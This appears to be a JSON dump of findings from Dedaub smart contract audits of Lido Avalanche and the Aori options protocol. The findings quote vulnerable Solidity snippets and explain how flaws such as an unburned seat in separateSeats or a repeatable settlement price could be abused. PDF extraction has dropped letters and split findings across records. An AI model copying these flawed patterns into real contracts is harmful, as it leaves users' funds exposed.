"title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "can be called by a member of RESOLVED any group with any generated public key MpcManager::reportUTXO() does not contain any checks to ensure that the member which calls it is a member of the group that reported and conrmed the provided genPubKey. This means that a member of any group can call this function with any of the generated public keys even if the laer has been conrmed by and assigned to another group. By doing so, a group can run reportUTXO() changing the threshold needed for the report to be exported. It is not clear from the specication if allowing any member to call this function with any public key is the desired behaviour or if further checks should be applied.", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Medium" - ] - }, - { - "title": "number of remaining TODO items suggest certain functionality is not implemented RESOLVED There are a number of TODO items that spread across the entire codebase and test suite. Most of these TODOs are trivial and the test suite appears to be well developed. However, there is a small number of TODOs that concern checks and invariants and also unimplemented functionality like supporting more types of validator requests. This could mean that further development is needed, which could render the current security assessment partially insuicient. 010 LOW SEVERITY: ID Descriptio ", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "claim of AVAX might result in rounding errors RESOLVED According to a note in the AvaLido::claim function, the protocol allows partial claims of unstake requests so that users don't need to wait for the entire request to be lled to get some liquidity. This is one of the reasons the exchange rate stAVAX:AVAX is set in function requestWithdrawal instead of in claim. The partial claim logic is implemented mainly in the following line: uint256 amountOfStAVAXToBurn = Math.mulDiv(request.stAVAXLocked, amount, request.amountRequested); The amount of stAVAX that are traded back, request.stAVAXLocked, is multiplied by the amount of AVAX claimed, amount, and the result is divided by the whole AVAX amount corresponding to the request, request.amountRequested to give us the corresponding amount of stAVAX that should be burned. This computation might suer from rounding errors depending on the amount parameter, leading to a small amount of stAVAX not being burned. We believe that these amounts would be too small to really aect the exchange rate of stAVAX:AVAX, still it would make sense to verify this or get rid of the rounding error altogether.", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "might fail due to uninitialized variable RESOLVED Function Treasury::claim could be called while the avaLidoAddress storage variable might not have been set via the setAvaLidoAddress, leading to the transaction reverting due to msg.sender not being equal to address(0). This outcome can of course be considered desirable, but at the same time, the needed call to setAvaLidoAddresss adds unnecessary complexity. Currently, the setAvaLidoAddress function works practically as an initializer, as it cannot set the 01 avaLidoAddress storage variable more than once. If that is the intent, avaLidoAddress could be set in the initialize function, which would reduce the chances of claim and successively of AvaLido::claimUnstakedPrincipals and AvaLido::claimRewards calls reverting. L3 AvaLido::deposit check considers deposited amount twice RESOLVED The function AvaLido::deposit implements the following check: if (protocolControlledAVAX() + amount > maxProtocolControlledAVAX) revert ProtocolStakedAmountTooLarge(); However, the check should be changed to: if (protocolControlledAVAX() > maxProtocolControlledAVAX) revert ProtocolStakedAmountTooLarge(); as the function protocolControlledAVAX() uses address(this).balance, meaning that amount, which is equal to the msg.value, has already been taken into account once and if added to the value returned by protocolControlledAVAX(), it would be counted twice. Nevertheless, we expect that both conditions would never be satised as maxProtocolControlledAVAX is by default set to type(uint256).max. Still, we would advise addressing the issue just in case maxProtocolControlledAVAX is changed in the future. 01 CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) The protocol denes several admin/manager roles that serve to give access to specic functions of certain contracts only to the appropriate entities. The following roles are dened and used: DEFAULT_ADMIN_ROLE ROLE_PAUSE_MANAGER ROLE_FEE_MANAGER ROLE_ORACLE_ADMIN ROLE_VALIDATOR_MANAGER ROLE_MPC_MANAGER ROLE_TREASURY_MANAGER ROLE_PROTOCOL_MANAGER For example, the entity that is assigned the ROLE_MPC_MANAGER is able to call functions MpcManager::createGroup and MpcManager::requestKeygen that are essential for the correct functioning of the MPC component. Multiple roles allow for the distribution of power so that if one entity gets hacked all other functions of the protocol remain unaected. Of course, this assumes that the protocol team distributes the dierent roles to separate entities thoughtfully and does not completely alleviate centralization issues. The contract MpcManager.sol appears to build on/depend on a lot of o-chain logic that could make it suer from centralization issues as well. A possible aack scenario is described in issue M3 above that raises the question of credibility for the MPC groups even though they can only be created by the MPC manager. 01 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Low" - ] - }, - { - "title": "array of public keys provided to MpcManager::createGroup needs to be sorted ", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": " RESOLVED The array of public keys provided to MpcManager::createGroup by the MPC manager needs to be sorted otherwise the groupId produced by the keccak256 of the array might be dierent for the same sets of public keys. As sorting is tricky to perform on-chain and has not been implemented in this instance, the contracts API or documentation should make it clear that the array provided needs to be already sorted.", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "in AvaLido::llUnstakeRequests is always true RESOLVED The following check in AvaLido::fillUnstakeRequests is expected to be always true, since the isFilled check right before guarantees that the request is not lled. if (isFilled(unstakeRequests[i])) { // This shouldn't happen, but revert if it does for clearer testing revert(\"Invalid state - filled request in queue\"); } // Dedaub: the following is expected to be always true if (unstakeRequests[i].amountFilled < unstakeRequests[i].amountRequested) { ... } 01", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "responsible for seing/updating numeric protocol parameters could dene bounds on these values INFO Functions like AvaLido::setStakePeriod and AvaLido::setMinStakeAmount could set lower and/or upper bounds for the accepted values. Such a change might require more initial thought but could protect against accidental mistakes when seing these parameters.", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "might revert with ClaimTooLarge error INFO The function AvaLido::claim checks that the amount requested, amount, is not greater than request.amountFilled - request.amountClaimed. The user experience could be improved if in such cases instead of reverting the claimed amount was set to request.amountFilled - request.amountClaimed, i.e., the maximum amount that can be claimed at the moment. Such a change would require the claim function to return the claimed amount.", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "storage variables RESOLVED There are a few storage variables that are not used: ValidatorSelector::minimumRequiredStakeTimeRemaining AvaLido::mpcManagerAddress", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "UnstakeRequest struct eld RESOLVED Field requestedAt of struct UnstakeRequest is not used.", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "can be made external RESOLVED OracleManager::getWhitelistedOracles can be dened as external instead of public, as it is not called from any code inside the OracleManager contract.", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "optimization RESOLVED 01 In function AvaLido::claimUnstakedPrincipals there is a conditional check that if true leads to the transaction reverting with InvalidStakeAmount(). function claimUnstakedPrincipals() external { uint256 val = address(pricipalTreasury).balance; if (val == 0) return; pricipalTreasury.claim(val); // Dedaub: the next line can be moved before the claim if (amountStakedAVAX == 0 || amountStakedAVAX < val) revert InvalidStakeAmount(); // (rest of the functions logic) } This check could be moved before the principalTreasury.claim(val) as it is not aected by the call. This would lead to gas savings in cases where the transaction reverts, as the unnecessary call to treasury would be skipped.", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "contradicts with ValidatorSelector::minimumRequiredStakeTimeRemaining RESOLVED Even though ValidatorSelector::minimumRequiredStakeTimeRemaining is not used, it is dened as 15 days, while AvaLido::stakePeriod is dened as 14 days.", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", - "body": "spelt function name RESOLVED Function name hasAcceptibleUptime of the Types.sol contract should be corrected to hasAcceptableUptime. A11 Compiler bugs INFO The code is compiled with Solidity 0.8.10, which, at the time of writing, has some known bugs, which we do not believe to aect the correctness of the contracts. 01", - "labels": [ - "Dedaub", - "Lido Avalanche", - "Severity: Informational" - ] - }, - { - "title": "allows anyone with a seat to reach maxSeatScore for an arbitrary number of seats ", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": " RESOLVED (commit ccbf56c) This function mints as many 1-score seats as the current seat score of seatId function separateSeats(uint256 seatId) public { require(msg.sender == ownerOf(seatId)); uint256 currentSeatScore = seatScore[seatId]; for(uint i = 0; i < currentSeatScore; i++) { uint mintIndex = totalSupply(); _safeMint(msg.sender, mintIndex); seatScore[mintIndex] = 1; } } However, AoriSeats::separateSeats does not burn the seatId that gets separated, allowing someone to call the function for the same seatId multiple times. For instance, a seat holder can get innitely many 1-score seats and combine them using AoriSeats::combineSeats to reach maxSeatScore. The user exploiting this will be able to receive the maximum amount of fee rewards when one of their seatIds gets used within the protocol. H2 AoriPut/AoriCall::setSettlementPrice() can be called multiple times, with counter-intuitive results RESOLVED (commit 0b6dd23) The function setSettlementPrice ensures neither that it is called atomically with the rst selement nor that it cannot be called again. function setSettlementPrice() public returns (uint256) { require(block.number >= endingBlock); settlementPrice = uint256(getPrice()); hasEnded = true; return settlementPrice; } As a result, a buyer or seller of an option can wait for an opportune moment to call the function. Indeed, some amount of the same option can be seled in-the-money with some other being seled out-of-the-money. Ideally, the selement price for the entire option should be set once and for all by the rst party that seles (as early as possible after the ending block, which is loosely ensured by at least one of the parties having a nancial incentive to sele at the current price). MEDIUM SEVERITY: 7 ", - "labels": [ - "Dedaub", - "Aori", - "Severity: High" - ] - }, - { - "title": "can reuse seatIds with surprising result ", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": " RESOLVED (commit d343c42) Function combineSeats burns two seat NFTs and mints another, at the totalSupply() index. function combineSeats(uint256 seatIdOne, uint256 seatIdTwo) public returns(uint256) { _burn(seatIdOne); _burn(seatIdTwo); uint256 newSeatId = totalSupply(); _safeMint(msg.sender, newSeatId); seatScore[newSeatId] = seatScore[seatIdOne] + seatScore[seatIdTwo]; return seatScore[newSeatId]; } However, the totalSupply() index is not guaranteed to not have been seen before. The totalSupply of an OpenZeppelin ERC721Enumerable is just the length of the enumerability array. When a token is being burned, it is removed from that array, its empty slot swapped with the last element, and the array gets truncated. Therefore, the above code will return as newSeatId an id that was previously used for dierent purposes. Although the seatScore is overwrien in the code, other data (namely, the totalVolumeBySeat) are not, and their old values will be confused with new. The resolution of this issue (possibly by overriding function _beforeTokenTransfer to avoid reusing numbers) should be thoroughly tested, specically by checking the indexes of old/new seatIds. It is unclear to us where the enumerability of NFTs functionality is used anyway. (This may mean that we are missing a potential threat in external use of ids that relates to the above behavior or its x.)", - "labels": [ - "Dedaub", - "Aori", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "probably erroneous, fees in a Bid DISMISSED The calculation of fees in Bid::ll assumes that the caller (i.e., the option seller that agrees to the Bid) has already factored the cost of fees into the amountOfOPTION argument. Specically, the amount of options that the bid initiator/creator receives is exactly what the caller of fill has specied in amountOfOPTION but the Bid creators USDC is supposed to cover the cost of both these options (per the options OPTIONPerUSDC factor) and the fees. function fill(uint256 amountOfOPTION, uint256 seatId) public nonReentrant { if(msg.sender == AORISEATSADD.ownerOf(seatId)) { } else { //No taker fees are paid in option tokens, but rather USDC. OPTIONAfterFee = amountOfOPTION; //And the amount of the quote currency the msg.sender will receive USDCToReceive = mulDiv(OPTIONAfterFee, USDCDecimals, OPTIONPerUSDC); USDC.transfer(Ownable(factory).owner(), ownerTxFee); USDC.transfer(AORISEATSADD.ownerOf(seatId), seatTxFee); USDC.transfer(msg.sender, USDCToReceive); //Tracking the liquidity mining rewards AORISEATSADD.addTakerPoints(feeMultiplier * (ownerTxFee / decimalDiff), msg.sender, factory); AORISEATSADD.addTakerPoints(feeMultiplier * (seatTxFee / decimalDiff), AORISEATSADD.ownerOf(seatId), factory); //Tracking the volume in the NFT AORISEATSADD.addTakerVolume(USDCToReceive, seatId, factory); } } This can be argued to be a design decision, but it has several surprising/inconsistent consequences: - It puts a burden on external callers to do this calculation or risk reverting due to insuicient USDC in the contract. - The taker of a Bid pays the fees, but the maker of a Bid gets the points, per the above addTakerPoints call! This is an asymmetry with Ask: whoever pays fees is likely expecting to get points. - Another asymmetry with Asks is that, in an Ask, the above addTakerVolume calculation includes the USDC spent on fees. Here it does not.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "fee distribution in Asks and Bids RESOLVED (commit ccbf56c) Bid::fill features the following logic (analogous logic can be found in Ask::fill): if(msg.sender == AORISEATSADD.ownerOf(seatId)) { } else { //No taker fees are paid in option tokens, but rather USDC. OPTIONAfterFee = amountOfOPTION; //And the amount of the quote currency the msg.sender will receive USDCToReceive = mulDiv(OPTIONAfterFee, USDCDecimals, OPTIONPerUSDC); //1eY = (1eX * 1eY) / 1eX //What the user will receive out of 100 percent in referral fees with a floor of 40 uint256 refRate = (AORISEATSADD.getSeatScore(seatId) * 5) + 35; //This means for Aori seat governance they should not allow more than 12 seats to be combined at once uint256 seatScoreFeeInBPS = mulDiv(fee, refRate, 100); uint256 ownerTxFee = mulDiv(USDCToReceive, seatScoreFeeInBPS, 10000); uint256 seatTxFee = mulDiv(USDCToReceive, fee - seatScoreFeeInBPS, 10000); respectively. //Transfers from the msg.sender OPTION.transferFrom(msg.sender, seller, OPTIONAfterFee); //Fee transfers are all in USDC, so for Bids they're routed here //These are to the Factory, the Aori seatholder, then the buyer USDC.transfer(Ownable(factory).owner(), ownerTxFee); USDC.transfer(AORISEATSADD.ownerOf(seatId), seatTxFee); 1 USDC.transfer(msg.sender, USDCToReceive); } In principle, the higher the seat score, the larger the fee rewards that the seatId owner should receive. In the above case, however, a seatId with a higher score will receive fewer fees than a seatId with a lower seat score, simply because fee - seatScoreFeeInBPS will represent a larger value in the case of a lower seat score. Additionally, the owner of the Orderbook contract will be the one receiving the seat fees, while the owner of the seat will receive whatever is left. This is asymmetrical with the logic that AoriPut::mintPut and AoriCall::mintCall implement: the fees //If the owner of the seat is not the caller, calculate and transfer mintingFee = putUSDCFeeCalculator(quantityOfUSDC, AORISEATSADD.getOptionMintingFee()); uint256 refRate = (AORISEATSADD.getSeatScore(seatId) * 5) + 35; // Calculating the fees out of 100 to go to the seat owner feeToSeat = (refRate * mintingFee) / 100; optionsToMint = ((quantityOfUSDC - mintingFee) * 10**USDC.decimals()) / strikeInUSDC; //(1e6*1e6) / 1e6 optionsToMintScaled = optionsToMint * decimalDiff; //transfer the USDC and route fees USDC.transferFrom(msg.sender, address(this), optionsToMint); USDC.transferFrom(msg.sender, Ownable(factory).owner(), mintingFee - USDC.transferFrom(msg.sender, AORISEATSADD.ownerOf(seatId), feeToSeat); feeToSeat); The above-mentioned points imply that perhaps the fees of the seat owner and the owner of the Orderbook contract are inverted for both Ask::ll and Bid::ll. 1 M4 The functionality of AoriCall::sellerSettlementITM (and AoriPut::sellerSettlementITM) breaks under intended parameters RESOLVED (commit ccbf56c) Both implementations use the wrong inequality between optionsToSettle and optionsSold (>= should be used instead) function sellerSettlementITM(uint256 optionsToSettle) public nonReentrant returns (uint256) { uint256 optionsSold = optionSellers[msg.sender]; require(optionsSold > 0 && optionsSold <= optionsToSettle); require(settlementPrice > strikeInUSDC && hasEnded == true); uint256 UNDERLYINGToReceive = ((strikeInUSDC * USDC.decimals()) / settlementPrice) * optionsSold; // (1e6*1e6/1e6) * 1e18 //store the settlement uint256 newOptionsSold = optionsSold - optionsToSettle; optionSellers[msg.sender] = newOptionsSold; //settle UNDERLYING.transfer(msg.sender, UNDERLYINGToReceive / 10**USDC.decimals()); } Both AoriCall::sellerSettlementITM and AoriPut::sellerSettlementITM will revert if the seller chooses to sele fewer options than his optionSellers balance, breaking part of the intended functionality. Additionally, AoriCall::sellerSettlementITM (the code snippet above) should be computing UNDERLYINGToReceive by multiplying with optionsToSettle and not optionsSold 12 LOW SEVERITY: ", - "labels": [ - "Dedaub", - "Aori", - "Severity: Medium" - ] - }, - { - "title": "function can revert, possibly causing UI problem ", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": " PARTLY RESOLVED View functions Ask::getAmountFilled and Bid::getAmountFilled will revert if an aacker sends (even a tiny amount of) extra tokens to the contract (via a direct transfer). This is not a problem at the level of the contract, but could render an unsuspecting UI unusable until there is human intervention, thus causing an eective DoS for lile cost. function getCurrentBalance() public view returns (uint256) { return USDC.balanceOf(address(this)); } function getAmountFilled() public view returns (uint256) { return (USDCSize - getCurrentBalance()); } Similarly, the amounts that these functions return are not to be fully trusted by external agents, as they can be lower than actual.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "(and Bid::fundContract) feature a questionable design (LARGELY) RESOLVED While we did not nd direct consequences in terms of security, the implementation of Ask::fundContract (and Bid::fundContract) raises questions on whether the intended functionality behind the funding of an Ask or a Bid has been fully thought of. function fundContract() public nonReentrant { require(msg.sender == seller); require(OPTION.balanceOf(msg.sender) >= OPTIONSize); OPTION.transferFrom(msg.sender, address(this), OPTIONSize); startingBlock = block.number; endingBlock = block.number + duration; emit OfferFunded(seller, OPTIONSize, duration); 1 } We took note of the following points: - This function can be called multiple times - Anyone may fund an Ask by directly sending OPTION (or USDC in the case of a Bid) tokens to the contract. This has the additional eect of making OPTIONSize (and USDCSize) simply serve as a minimum.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Low" - ] - }, - { - "title": "(and AoriPut::getPrice) do not perform staleness checks on the round data received by the Chainlink Aggregator RESOLVED (commits 5338e86, 8a74178) Even though the AggregatorV3::latestRoundData function provides various return values that can be used to check the staleness of an answer (e.g., as the result of oracle downtime or the update round being incomplete at the time of querying), no such checks are performed. function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, //will be 0 if the round is incomplete uint80 answeredInRound ); This can certainly undermine the experience of protocol users, as options will be seled based on stale prices. Prolonged periods of down-time for most of the USDC denominated data-feeds are not likely, but in that scenario there could be direct consequences in terms of the protocol security. L4 Data feed answers that are either negative or zero are not handled consistently RESOLVED (commits d343c42, 1 4aa163c) In principle, the answer that is provided by a Chainlink Aggregator can be 0, but this is not consistently handled throughout AoriCall and AoriPut contracts. Negative answers will cause the selement price to be extremely large because it will have been cast to an uint256. For AoriPut, price answers which are 0 will be silently accepted as selement prices if AoriPut::sellerSettlementITM gets called rst (it could be even called with optionsToSettle being 0) function sellerSettlementITM(uint256 optionsToSettle) public nonReentrant returns (uint256) { _setSettlementPrice(); uint256 optionsSold = optionSellers[msg.sender]; ... require(optionsSold > 0 && optionsSold <= optionsToSettle); require(strikeInUSDC > settlementPrice && hasEnded == true); uint256 USDCToReceive = ((optionsToSettle / decimalDiff) * settlementPrice) / 10**USDC.decimals(); //((1e18 / 1e12) * 1e6) / 1e6 ... uint256 newOptionsSold = optionsSold - optionsToSettle; optionSellers[msg.sender] = newOptionsSold; ... } In this scenario, the buyer will never be able to sele in-the-money as all calls to AoriPut::buyerSettlementITM will revert function buyerSettlementITM(uint256 optionsToSettle) public nonReentrant returns (uint256) { _setSettlementPrice(); require(block.number >= endingBlock && balanceOf[msg.sender] >= 0); 1 require(strikeInUSDC > settlementPrice && settlementPrice != 0); ... } CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) ID Description N1 Some entities are considered trusted ", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": " INFO The protocol has some centralization risks, with some owner entities considered trusted. For instance, the owner of an Orderbook can claim any tokens (including Options) from any Ask or Bid; the owner of an OrderbookFactory can change external contract addresses that implement signicant functionality. OTHER / ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. 16 ", - "labels": [ - "Dedaub", - "Aori", - "Severity: Low" - ] - }, - { - "title": "may lose precisio ", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": " RESOLVED Although the problem is likely very limited, given the expected magnitudes of the numbers, the following arithmetic in AoriCall::mintCall will maintain higher precision with the multiplication performed before the division. AORISEATSADD.addPoints( feeMultiplier * ((mintingFee - feeToSeat) / decimalDiff), msg.sender); AORISEATSADD.addPoints( feeMultiplier * (feeToSeat / decimalDiff), AORISEATSADD.ownerOf(seatId)); same The AoriPut::sellerSettlementITM applies to the following arithmetic operation in ... uint256 USDCToReceive = ((optionsToSettle / decimalDiff) * settlementPrice) / 10**USDC.decimals(); ... ... uint256 newOptionsSold = optionsSold - optionsToSettle; optionSellers[msg.sender] = newOptionsSold; //settle USDC.transfer(msg.sender, USDCToReceive); In the last snippet, USDCToReceive can end up being zero when optionsToSettle < decimalDiff, in which case the optionSellers balance of the seller will be reduced but without the seller receiving any USDC in return.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "generality? RESOLVED In both AoriPut and AoriCall, it is not clear why the sellerSettlementITM function should allow seling fewer than all the sellers options. There is no nancial sense in doing so: the loss of the option seller is known and is independent of the specics of 1 each buyer. If the seller gets a refund for one buyers options, they might as well get it for all their options, as they stand to gain nothing more by waiting.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "storage variables RESOLVED In AoriSeats, storage variables seatPrice, startingIndex, and startingIndexBlock are unused. The same is true of storage variable ORDERBOOK, which is also misleading, since there will not be a single orderbook.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "storage dereferences RESOLVED Some references to storage can be avoided, for gas savings. For instance, in AoriSeats::combineSeats: function combineSeats(uint256 seatIdOne, uint256 seatIdTwo) public returns(uint256) { require(seatScore[seatIdOne] + seatScore[seatIdTwo] <= maxSeatScore); seatScore[newSeatId] = seatScore[seatIdOne] + seatScore[seatIdTwo]; } could be rewrien as: function combineSeats(uint256 seatIdOne, uint256 seatIdTwo) public returns(uint256) { uint256 newSeatScore = seatScore[seatIdOne] + seatScore[seatIdTwo]; require(newSeatScore <= maxSeatScore); seatScore[newSeatId] = newSeatScore; } The laer avoids three SLOAD instructions.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "term: seller RESOLVED 1 In the Bid contract, calling the initiator of a bid the seller is confusing and inconsistent with other uses of the term throughout. Specically, the initiator of a Bid is the eventual buyer of the option, not its seller.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "variables should be immutable, saving gas and preventing updates upon code changes PARTLY RESOLVED Many storage variables never change after construction and should be declared immutable, so they can be inlined as constants. (Some storage variables can even be declared constant, for compile-time inlining.) These include at least: - Optiontroller: USDC, AORISEATSADD - AoriCall: oracle, AORISEATSADD - AoriPut: USDC, AORISEATSADD - AoriAuctionHouse: weth, duration - Orderbook: USDC, fee_, OPTION - Ask/Bid: AORISEATSADD, USDC, OPTION, OPTIONDecimals, USDCDecimals, decimalDiff.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "(repeated) external calls can be eliminated for gas savings RESOLVED Some external calls can be optimized. - Calls to USDC.decimals() (AoriCall, AoriPut) can be performed once and stored in an immutable variable. - Calls to Ownable(factory).owner() (twice in Ask::withdrawTokens) can be performed once and stored in a local variable.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "handling is inelegant PARTLY RESOLVED 1 Several boolean operations are inelegant and can be simplied for a more professional code look. // AoriSeats::addTakerPoints require(OPTIONTROLLER.checkIsOrder(Orderbook_, msg.sender) == true); -> require(OPTIONTROLLER.checkIsOrder(Orderbook_, msg.sender)); // Ask::cancel, Bid::cancel // (This code is also unnecessary, covered in an earlier require) isFunded() == true -> isFunded() // Ask::isFunded, similar in Ask::isFundedOverOne, // Bid::isFunded, Bid::isFundedOverOne if (OPTION.balanceOf(address(this)) > 0) { return true; } else { return false; } -> return (OPTION.balanceOf(address(this)) > 0); // Optiontroller::checkIsOrder checkIsListedOrderbook(Orderbook_) == true -> checkIsListedOrderbook(Orderbook_)", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "constants in the code PARTLY RESOLVED Ideally, numeric constants should be visible prominently at the top of a contract, instead of being buried in the code, for easier maintainability and readability. 2 There are several instances in the code where we would recommend giving a name to the constant so that it is prominently visible. // AoriAuctionHouse::_safeTransferETH to.call{ value: value, gas: 30_000 }(new bytes(0)); // AoriCall::mintCall, AoriPut::mintPut refRate = (AORISEATSADD.getSeatScore(seatId) * 5) + 35; // AoriCall::callUNDERLYINGFeeCalculator require(UNDERLYING.decimals() == 18); uint256 txFee = (optionsToSettle * fee) / 10000; // AoriPut::putUSDCFeeCalculator uint256 txFee = (quantityOfUSDC * fee) / 10000; // AoriCall::getPrice return (uint256(price) / (10**8 - 10**USDC.decimals())); // AoriPut::getPrice return (uint256(price) / 1e2); // AoriSeats::mintSeat if (currentSeatId % 10 == 0) { // Ask::fill, Bid::fill uint256 refRate = (AORISEATSADD.getSeatScore(seatId) * 5) + 35;", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "code LARGELY RESOLVED Several pieces of code are logically unnecessary or even dead. In AoriPut::sellerSelementITM: 2 require(USDCToReceive <= USDC.balanceOf(address(this)), \"Not enough USDC in contract\"); No similar check occurs elsewhere in the code, and the check is unnecessary because the subsequent transfer would revert anyway. In Ask: function withdrawTokens(address token) public { require(msg.sender == Ownable(factory).owner()); if (token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(Ownable(factory).owner()).transfer(address(this).balance); } else { } } uint256 balance = IERC20(token).balanceOf(address(this)); safeTransfer(token, Ownable(factory).owner(), balance); function emergencyRetreival(address token) public { // YS:! spell require(msg.sender == Ownable(factory).owner()); IERC20(token).transfer(Ownable(factory).owner(), IERC20(token).balanceOf(address(this))); } The second function (also: misspelling in name) is unnecessary, since it is subsumed by the rst, and even more completely (handling the case of tokens that dont implement a modern transfer). In Ask::fundContract and Bid::fundContract, this assignment is dead code: startingBlock = block.number; 2 In Ask::ll (similarly in Bid::ll), if the code does not change, the introduction and use of an always-zero variable seems pointless: uint256 txFee = 0; USDCAfterFee = (amountOfUSDC - txFee);", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "functions return unnecessarily large arrays DISMISSED All Orderbook::getActive* view functions return arrays that are larger than necessary, with zero items at the end. For example: function getActiveBids() public view returns (Bid[] memory) { Bid[] memory activeBids = new Bid[](bids.length); uint256 count; for (uint256 i; i < bids.length; i++) { Bid bid = Bid(bids[i]); if (bid.isFunded() && !bid.hasEnded()) { activeBids[count++] = bid; } } return activeBids; } External callers should be aware of this convention and not rely on the array length.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit 